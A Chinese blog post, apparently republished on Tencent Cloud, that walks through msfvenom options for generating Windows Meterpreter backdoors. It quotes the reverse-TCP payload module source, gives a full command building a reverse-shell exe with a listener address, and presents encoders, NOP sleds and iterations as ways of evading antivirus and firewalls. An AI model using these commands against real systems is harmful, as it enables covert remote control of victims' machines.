前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Msfvenom后门重新学习与分析-windows篇

Msfvenom后门重新学习与分析-windows篇

作者头像
用户1631416
发布2018-04-12 13:55:38
2K0
发布2018-04-12 13:55:38
举报
文章被收录于专栏:玄魂工作室玄魂工作室

Msfvenom 是msf框架配套的攻击载荷生成器。

什么是攻击荷载

Payload:目标系统上渗透成功后执行的代码

msfvenom命令行选项如下:

使用如下命令可以查看恶意代码详细信息:

Info 荷载/编码/指令

下面我们逐条分析命令的使用

1)-p,--payload <负载>负载使用。指定' - '或标准输入使用自定义负载

如下图:

在metasploit里有那些meterpreter的windows攻击荷载:

/windows/meterpreter/reverse_tcp.md.gz

/windows/meterpreter_loader.rb

/windows/meterpreter_bind_tcp.rb(内网使用,不需要添加lhost)

/windows/meterpreter_reverse_http.rb

/windows/meterpreter_reverse_https.rb

/windows/meterpreter_reverse_ipv6_tcp.rb

/windows/meterpreter_reverse_tcp.rb

/windows/meterpreter.rb

还有那些攻击荷载

那metasploit里还有哪些格式攻击荷载:

-----------------------------------+---------------------------------------

windows/meterpreter_reverse_tcp:代码

-----------------------------------+---------------------------------------/usr/share/metasploit-framework/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb

##

# This module requires Metasploit: http://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

require 'msf/core'

require 'msf/core/payload/transport_config'

require 'msf/core/handler/reverse_tcp'

require 'msf/core/payload/windows/meterpreter_loader'

require 'msf/base/sessions/meterpreter_x86_win'

require 'msf/base/sessions/meterpreter_options'

require 'rex/payloads/meterpreter/config'

module MetasploitModule

CachedSize = 957487

include Msf::Payload::TransportConfig

include Msf::Payload::Windows

include Msf::Payload::Single

include Msf::Payload::Windows::MeterpreterLoader

include Msf::Sessions::MeterpreterOptions

def initialize(info = {})

super(merge_info(info,

'Name' => 'Windows Meterpreter Shell, Reverse TCP Inline',

'Description' => 'Connect back to attacker and spawn a Meterpreter shell',

'Author' => [ 'OJ Reeves' ],

'License' => MSF_LICENSE,

'Platform' => 'win',

'Arch' => ARCH_X86,

'Handler' => Msf::Handler::ReverseTcp,

'Session' => Msf::Sessions::Meterpreter_x86_Win

))

register_options([

OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']),

OptString.new('EXTINIT', [false, 'Initialization strings for extensions']),

], self.class)

end

def generate(opts={})

opts[:stageless] = true

stage_meterpreter(opts) + generate_config(opts)

end

def generate_config(opts={})

opts[:uuid] ||= generate_payload_uuid

# create the configuration block, which for staged connections is really simple.

config_opts = {

arch: opts[:uuid].arch,

exitfunk: datastore['EXITFUNC'],

expiration: datastore['SessionExpirationTimeout'].to_i,

uuid: opts[:uuid],

transports: [transport_config_reverse_tcp(opts)],

extensions: (datastore['EXTENSIONS'] || '').split(','),

ext_init: (datastore['EXTINIT'] || '')

}

# create the configuration instance based off the parameters

config = Rex::Payloads::Meterpreter::Config.new(config_opts)

# return the binary version of it

config.to_b

end

end

-----------------------------------+----------------------------------------

2) -l(小写L字母), --list 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all

-----------------------------------+-----------------------------------------

Framework Payloads (473 total)

==============================

-----------------------------------+------------------------------------------

Framework Encoders

==================

-----------------------------------+-----------------------------------------

Framework NOPs (9 total)

========================

详细查询每个有效荷载的信息

3)-n, --nopsled(指令) length> 为payload预先指定一个NOP滑动长度(一切为了绕过防火墙与免杀)

翻译:(很不准一切,以读者自我理解为主)

armle/simple NOP发生器

mipsbe/better 更好的NOP发生器 php/generic 生成PHP脚本的无害填充

ppc/simple NOP发生器

sparc/random SPARC NOP发生器

tty/generic 为TTY输入生成无害填充

x64/simple 一个x64单/多字节NOP指令生成器

x86/opty2 Opty2多字节NOP发生器

x86/single_byte byte单字节NOP发生器

使用失败,暂时放下,看去其他参数

-----------------------------------+-----------------------------------------

4)-f,--format <格式>输出格式(使用--help-格式列表)

5) -e,--encoder [编码器]编码器使用

win2003(32位) -e x86/shikata_ga_nai,无法反弹shell,需要多实验不同系统,次编码跨平台

6)-a, - -arch <架构>的架构使用

- -platform <平台>有效载荷的平台

msfvenom -p windows/meterpreter/reverse_tcp --arch x86 --platform windows -i 20 lHOST=19 2.168.248.128 LPORT=6666 -f exe>./a.exe

7) -s,--space <长度>所得有效负载的最大尺寸,简单说就是生成的后门的字节数。(用于绕过防火墙和免杀,不过有一点疑问,我自己定义了字节数,生成的后门是73802字节,而不是我个人设定的80000字节,可能需要分析生成的后门代码,需要进一步实战中分析)

成功显示:

规定的字节数不够提示:

生成的无法运行的木马:

8) -b,--bad-字符<列表>字符列表,以避免例如:'\ X00 \ XFF“空格等坏字符的出现

导致后门无法运行,这里需要掌握汇编自己编写shellcode,掌握溢出知识,独立发现应用程序漏洞或者web漏洞能力者所使用的参数。

9) -i,--iterations 编码次数的次数,以有效负载进行编码

10)-c,--add代码<路径>指定一个额外的win32 shellcode的文件

首先生成一个shellcode

然后监听exploit/multi/handler

连接后出现

这是想到了第一个后门的端口是2222,造成链接不上的原因

把两个后门端口改成一样的时候,可以链接到,却无法反弹shell

剩下 -x与-k参数后续更新:

-x,--template <路径>指定一个自定义的可执行文件作为模板使用

-k,--keep保存模板行为和有效载荷为一个新的线程注入

--payload-选项列表中的有效载荷的标准选项

------------------------------------------------------------------------------

-o,--out <路径>保存有效载荷

-v,--var名<名>指定用于某些输出格式的自定义变量名称

-h,--help显示此消息

----------------------------------------------------------------

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-03-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 玄魂工作室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档